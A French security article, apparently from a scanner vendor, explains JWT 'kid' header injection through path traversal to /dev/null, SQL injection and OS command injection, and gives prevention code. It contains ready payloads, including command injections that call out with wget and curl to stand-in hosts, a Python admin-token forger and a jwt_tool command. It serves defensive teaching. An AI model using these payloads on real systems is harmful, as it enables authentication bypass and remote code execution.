Injection JWT kid

Qu'est-ce que l'injection JWT kid ?#

Le paramètre kid (Key ID) dans un en-tête JWT est une chaîne optionnelle qui indique au serveur quelle clé utiliser pour vérifier la signature du token. RFC 7515 §4.1.4 le définit comme "un indice indiquant quelle clé a été utilisée pour sécuriser le JWS." Il est destiné à permettre aux serveurs de maintenir plusieurs clés actives (pour la rotation).

La vulnérabilité survient quand le serveur utilise la valeur kid directement dans des opérations IO sans assainissement. Trois patterns courants sont exploitables :

1. Chemin de fichier : cle = open(f"/keys/{kid}").read() — traversée de chemin pour lire des fichiers arbitraires
2. Requête base de données : cle = db.query(f"SELECT k FROM keys WHERE id='{kid}'") — injection SQL
3. Commande shell : cle = subprocess.run(f"charger-cle {kid}", ...) — injection de commande OS

OWASP A03:2021 (Injection) est la classification principale car la cause racine est des données non fiables dans un interpréteur de commandes.

Mécanisme#

Traversée de chemin (/dev/null)#

La charge utile de traversée de chemin la plus simple et fiable :

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../dev/null"
}

/dev/null retourne une chaîne d'octets vide sur Unix. L'attaquant signe avec un secret HMAC vide :

import jwt
 
def forger_token_devnull(jwt_original: str) -> str:
    """Forger un token en utilisant la traversée de chemin /dev/null sur kid."""
    charge = jwt.decode(
        jwt_original, options={"verify_signature": False}, algorithms=["HS256"]
    )
    charge["role"] = "admin"
    charge["exp"] = 9999999999
 
    token_forge = jwt.encode(
        charge,
        key="",                                  # secret HMAC vide
        algorithm="HS256",
        headers={"kid": "../../../../../../dev/null"}
    )
    return token_forge

Injection SQL#

Quand kid est utilisé dans une requête SQL sans paramètre :

{
  "alg": "HS256",
  "kid": "x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -"
}

Injection de commande OS#

Si kid est passé à un shell :

{
  "alg": "HS256",
  "kid": "/dev/null|wget http://attaquant.com"
}

{
  "alg": "HS256",
  "kid": "$(curl http://OOB.interactsh.com/$(whoami))"
}

Repli basé sur le temps (sans OOB disponible) :

{
  "alg": "HS256",
  "kid": "x;sleep 25 #"
}

Tableau des variantes d'attaque#

Exemples réels#

HackerOne #1365894 — Injection SQL kid Fintech (3 000 €) Le code de vérification JWT d'une plateforme fintech construisait une requête MySQL sans paramètre en utilisant le champ kid. Charge utile : x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. Le serveur retournait le résultat UNION comme clé de signature. L'attaquant a forgé un token admin, a accédé au panneau d'administration et a démontré l'escalade complète de privilèges. Corrigé en passant à une requête paramétrée (SELECT key FROM jwt_keys WHERE id = ?).

CVE-2022-21449 — Chaîne d'exploitation kid + Psychic Signatures (Java ECDSA) Des chercheurs en sécurité ont démontré une attaque combinée : d'abord utiliser la traversée de chemin kid vers /dev/null pour forcer une clé de signature vide, puis exploiter le contournement Psychic Signatures (CVE-2022-21449) sur Java 15-18 pour ignorer la vérification ECDSA. L'attaque combinée fonctionnait contre toute bibliothèque JWT Java sur les JVM affectées qui implémentait également la résolution de chemin kid.

Bug Bounty — kid CMDi via Script Shell (Critique, 10 000 €) Un chercheur en sécurité a trouvé une API fintech qui invoquait un script shell pour charger des clés de signature : exec("sh /opt/keys/charger.sh " + kid). La détection OOB via Interactsh a confirmé l'injection : la charge kid $(curl http://abc.oast.fun/$(whoami)) a déclenché un rappel DNS avec www-data comme sous-domaine. Le chercheur a démontré le chemin du contournement d'authentification jusqu'à RCE complet sur le serveur.

Article Auth0 — "Vulnérabilités dans les bibliothèques JSON Web Token" Le post de recherche canonique d'Auth0 de 2015 documentait la classe d'attaque de traversée de chemin kid aux côtés d'alg:none, notant que le champ kid était couramment utilisé pour spécifier des chemins de fichiers — parfois sur des systèmes de production qui chargeaient des clés depuis le disque.

Détection#

Tests manuels#

1. Obtenir un JWT valide. Confirmer que l'en-tête alg est HS256.
2. Test traversée de chemin : avec Burp JWT Editor, modifier le champ kid à ../../../../../../dev/null. Signer avec un secret HMAC vide. Envoyer la requête.
3. Test injection SQL : définir kid à x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. Signer le token avec HMAC-SHA256 en utilisant AAAAAAAAAAAAAAAAAAAAAAAA (24 chars 'A') comme secret.
4. Test OOB : définir kid à $(curl https://VOTRE.interactsh.com/$(whoami)). Surveiller les rappels.
5. Test basé sur le temps : définir kid à x;sleep 25 #. Mesurer le temps de réponse.
6. Tester les variantes encodées URL de traversée de chemin.

Détection automatisée#

jwt_tool tests d'injection kid :

# Variantes traversée de chemin
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""

BreachVex teste les six variantes d'injection kid avec un arsenal de charges utiles curaté de 15+ entrées par type, avec des rappels hors-bande pour la détection d'injection de commande et la validation différentielle du corps de réponse pour la traversée de chemin et la confirmation SQLi.

Prévention#

Validation d'entrée#

import re
 
# MAUVAIS — utilise kid directement dans un chemin de fichier
def obtenir_cle_mauvais(kid: str) -> bytes:
    return open(f"/cles/{kid}").read()  # traversée de chemin !
 
# MAUVAIS — utilise kid dans la concaténation de chaîne SQL
def obtenir_cle_mauvais2(kid: str) -> str:
    return db.execute(f"SELECT k FROM cles WHERE id='{kid}'").fetchone()[0]
 
# BON — regex d'autorisation stricte avant tout IO
KID_PATTERN = re.compile(r'^[a-zA-Z0-9_-]{1,64}$')
 
def obtenir_cle_bon(kid: str) -> bytes:
    if not KID_PATTERN.fullmatch(kid):
        raise ValueError(f"Format kid invalide : {kid!r}")
    ligne = db.execute("SELECT k FROM cles WHERE id = $1", (kid,)).fetchone()
    if ligne is None:
        raise ValueError(f"kid inconnu : {kid!r}")
    return ligne[0]

Carte de clés en mémoire (Élimine l'IO)#

# La plupart des applications n'ont besoin que de 2-3 clés actives
MAP_CLES: dict[str, bytes] = {
    "v2": os.environ["JWT_SIGNING_KEY_V2"].encode(),
    "v1": os.environ["JWT_SIGNING_KEY_V1"].encode(),  # dépréciée, fenêtre de rotation
}
 
def obtenir_cle_depuis_map(kid: str) -> bytes:
    cle = MAP_CLES.get(kid)
    if cle is None:
        raise ValueError(f"kid inconnu : {kid!r}")
    return cle

Ressources#

• Lab PortSwigger traversée de chemin kid JWT
• Aide-mémoire prévention injection SQL OWASP
• RFC 7515 §4.1.4 — définition paramètre kid
• PayloadsAllTheThings — Injection JWT kid